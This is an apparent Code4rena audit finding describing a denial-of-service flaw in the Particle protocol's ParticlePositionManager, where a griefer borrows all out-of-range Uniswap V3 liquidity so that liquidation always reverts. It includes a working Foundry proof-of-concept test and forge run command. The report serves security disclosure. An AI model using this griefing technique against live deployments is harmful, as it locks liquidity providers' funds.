Lucene search

K
code423n4Code4renaCODE423N4:2023-12-PARTICLE-FINDINGS-ISSUES-9
HistoryDec 18, 2023 - 12:00 a.m.

Providing LP outside of active range is prone to DoS

2023-12-1800:00:00
Code4rena
github.com
13
uniswap v3
dos attack
particlepositionmanager
collateral calculation
repay calculation

6.9 Medium

AI Score

Confidence

Low

Lines of code

Vulnerability details

Impact

When LP provide uniswap V3 position using ParticlePositionManager that have range outside of active price, it can be DoSed by opening position of all the provided liquidity.

Proof of Concept

When LPs provide a Uniswap V3 position that is currently outside the active range, the available token to borrow is either all of token0 or all of token1, depending on the current price tick position (below the lower tick or higher than the upper tick). Which means the value of required collateral for the non-zero token is equal to repay amount.

Here is how collateral is calculated :

<https://github.com/code-423n4/2023-12-particle/blob/main/contracts/libraries/Base.sol#L153-L161&gt;

    function getRequiredCollateral(
        uint128 liquidity,
        int24 tickLower,
        int24 tickUpper
    ) internal pure returns (uint256 amount0, uint256 amount1) {
        uint160 sqrtRatioAX96 = TickMath.getSqrtRatioAtTick(tickLower);
        uint160 sqrtRatioBX96 = TickMath.getSqrtRatioAtTick(tickUpper);
        (amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
    }

<https://github.com/code-423n4/2023-12-particle/blob/main/contracts/libraries/LiquidityAmounts.sol#L120-L136&gt;

    function getAmountsForLiquidity(
        uint160 sqrtRatioAX96,
        uint160 sqrtRatioBX96,
        uint128 liquidity
    ) internal pure returns (uint256 amount0, uint256 amount1) {
        if (sqrtRatioAX96 &gt; sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);

        amount0 =
            FullMath.mulDiv(
                uint256(liquidity) &lt;&lt; FixedPoint96.RESOLUTION,
                sqrtRatioBX96 - sqrtRatioAX96,
                sqrtRatioBX96
            ) /
            sqrtRatioAX96;

        amount1 = FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
    }

And here is how required repay is calculated :

<https://github.com/code-423n4/2023-12-particle/blob/main/contracts/libraries/Base.sol#L163-L192&gt;

    function getRequiredRepay(
        uint128 liquidity,
        uint256 tokenId
    ) internal view returns (uint256 amount0, uint256 amount1) {
        DataCache.RepayCache memory repayCache;
        (
            ,
            ,
            repayCache.token0,
            repayCache.token1,
            repayCache.fee,
            repayCache.tickLower,
            repayCache.tickUpper,
            ,
            ,
            ,
            ,

        ) = UNI_POSITION_MANAGER.positions(tokenId);
        IUniswapV3Pool pool = IUniswapV3Pool(UNI_FACTORY.getPool(repayCache.token0, repayCache.token1, repayCache.fee));
        (repayCache.sqrtRatioX96, , , , , , ) = pool.slot0();
        repayCache.sqrtRatioAX96 = TickMath.getSqrtRatioAtTick(repayCache.tickLower);
        repayCache.sqrtRatioBX96 = TickMath.getSqrtRatioAtTick(repayCache.tickUpper);
        (amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity(
            repayCache.sqrtRatioX96,
            repayCache.sqrtRatioAX96,
            repayCache.sqrtRatioBX96,
            liquidity
        );
    }

<https://github.com/code-423n4/2023-12-particle/blob/main/contracts/libraries/LiquidityAmounts.sol#L146-L162&gt;

    function getAmountsForLiquidity(
        uint160 sqrtRatioX96,
        uint160 sqrtRatioAX96,
        uint160 sqrtRatioBX96,
        uint128 liquidity
    ) internal pure returns (uint256 amount0, uint256 amount1) {
        if (sqrtRatioAX96 &gt; sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);

        if (sqrtRatioX96 &lt;= sqrtRatioAX96) {
            amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
        } else if (sqrtRatioX96 &lt; sqrtRatioBX96) {
            amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
            amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
        } else {
            amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
        }
    }

From these information, if a trader for instance open a position with out of range liquidity position and have a range lower than current price, the borrowed/required pay amount consist of only token1 amount. If trader open long position for this liquidity, the collateral amount will be equal to token1 amount.

The problem is that, due to the collateral amount being equal to the borrowed/required pay amount, the swap is not required when closing this position. However, when closing the position, either via closing or liquidation, it is necessary to perform a swap operation

<https://github.com/code-423n4/2023-12-particle/blob/main/contracts/protocol/ParticlePositionManager.sol#L399-L406&gt;

    function _closePosition(
        DataStruct.ClosePositionParams calldata params,
        DataCache.ClosePositionCache memory cache,
        Lien.Info memory lien,
        address borrower
    ) internal {
        // optimistically use the input numbers to swap for repay
        /// @dev amountSwap overspend will be caught by refundWithCheck step in below
&gt;&gt;&gt;     (cache.amountSpent, cache.amountReceived) = Base.swap(
            cache.tokenFrom,
            cache.tokenTo,
            params.amountSwap,
            0, /// @dev we check cache.amountReceived is sufficient to repay LP in below
            DEX_AGGREGATOR,
            params.data
        );
       ...
   }

If the dex aggregator used is Uniswap, it will not allow providing a 0 swap amount, and the call will always revert. If we provide a dust swap amount (e.g., 1), it will revert due to the following check. Recall that because the collateral amount (cache.collateralFrom) is equal to the borrowed/required pay amount (cache.amountFromAdd), if cache.amountSpent is non-zero and cache.tokenFromPremium is 0, the call will always revert.

<https://github.com/code-423n4/2023-12-particle/blob/main/contracts/protocol/ParticlePositionManager.sol#L415-L420&gt;

        if (
            cache.amountFromAdd &gt; cache.collateralFrom + cache.tokenFromPremium - cache.amountSpent ||
            cache.amountToAdd &gt; cache.amountReceived + cache.tokenToPremium
        ) {
            revert Errors.InsufficientRepay();
        }

Griefer can open the mentioned position with providing dust premium token, and unless the price ever hit that range, liquidation will not be possible and the LP position will stuck.

Coded PoC :

LP provide uniswap V3 liquidity with price tick lower than current price, griefer open long position using all provided liquidity, providing 1 marginFrom so swap not revert. After the operation, the position is created with 0 tokenFromPremium. Then the LP decide want to claim back the liquidity and trigger reclaim, wait for the LOAN_TERM (7 days), it still cannot liquidate because of the cache.amountFromAdd > cache.collateralFrom + cache.tokenFromPremium - cache.amountSpent check.

Add this test to test/OpenPosition.t.sol, and also add import “forge-std/console.sol”; to the test contract :

    function testLiquidationRevert() public {
        address LIQUIDATOR = payable(address(0x7777));
        uint128 REPAY_LIQUIDITY_PORTION = 1000;
        _setupLowerOutOfRange();
        testBaseOpenLongPosition();
        // get lien info
        (, uint128 liquidityInside, , , , , , ) = particlePositionManager.liens(
            keccak256(abi.encodePacked(SWAPPER, uint96(0)))
        );
        // start reclaim
        vm.startPrank(LP);
        vm.warp(block.timestamp + 1);
        particlePositionManager.reclaimLiquidity(_tokenId);
        vm.stopPrank();
        // add back liquidity requirement
        vm.warp(block.timestamp + 7 days);
        IUniswapV3Pool _pool = IUniswapV3Pool(uniswapV3Factory.getPool(address(USDC), address(WETH), FEE));
        (uint160 currSqrtRatioX96, , , , , , ) = _pool.slot0();
        (uint256 amount0ToReturn, uint256 amount1ToReturn) = LiquidityAmounts.getAmountsForLiquidity(
            currSqrtRatioX96,
            _sqrtRatioAX96,
            _sqrtRatioBX96,
            liquidityInside
        );
        (, uint256 ethCollateral) = particleInfoReader.getRequiredCollateral(liquidityInside, _tickLower, _tickUpper);

        // get swap data
        uint160 currentPrice = particleInfoReader.getCurrentPrice(address(USDC), address(WETH), FEE);
        console.log("amount to return : ");
        console.log(amount1ToReturn);
        console.log("ethCollateral : ");
        console.log(ethCollateral);
        uint256 amountSwap = 1;
        // uint256 amountSwap = ethCollateral - amount1ToReturn;

        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
            tokenIn: address(WETH),
            tokenOut: address(USDC),
            fee: FEE,
            recipient: address(particlePositionManager),
            deadline: block.timestamp,
            amountIn: amountSwap,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: currentPrice + currentPrice / SLIPPAGE_FACTOR
        });
        bytes memory data = abi.encodeWithSelector(ISwapRouter.exactInputSingle.selector, params);
        // liquidate position
        vm.startPrank(LIQUIDATOR);
        vm.expectRevert(abi.encodeWithSelector(Errors.InsufficientRepay.selector));
        particlePositionManager.liquidatePosition(
            DataStruct.ClosePositionParams({lienId: uint96(0), amountSwap: amountSwap, data: data}),
            SWAPPER
        );
        vm.stopPrank();
    }

Run the test :

forge test --fork-url $MAINNET_RPC_URL --fork-block-number 18750931 --match-contract OpenPositionTest --match-test testLiquidationRevert -vvv

Log output :

Logs:
  amount to return : 
  499999999999999910
  ethCollateral : 
  499999999999999910

Tools Used

Manual review

Recommended Mitigation Steps

Modify the all step that required swap operation, if the provided params.amountSwap is 0, just skip the swap call.

Assessed type

DoS


The text was updated successfully, but these errors were encountered:

All reactions

6.9 Medium

AI Score

Confidence

Low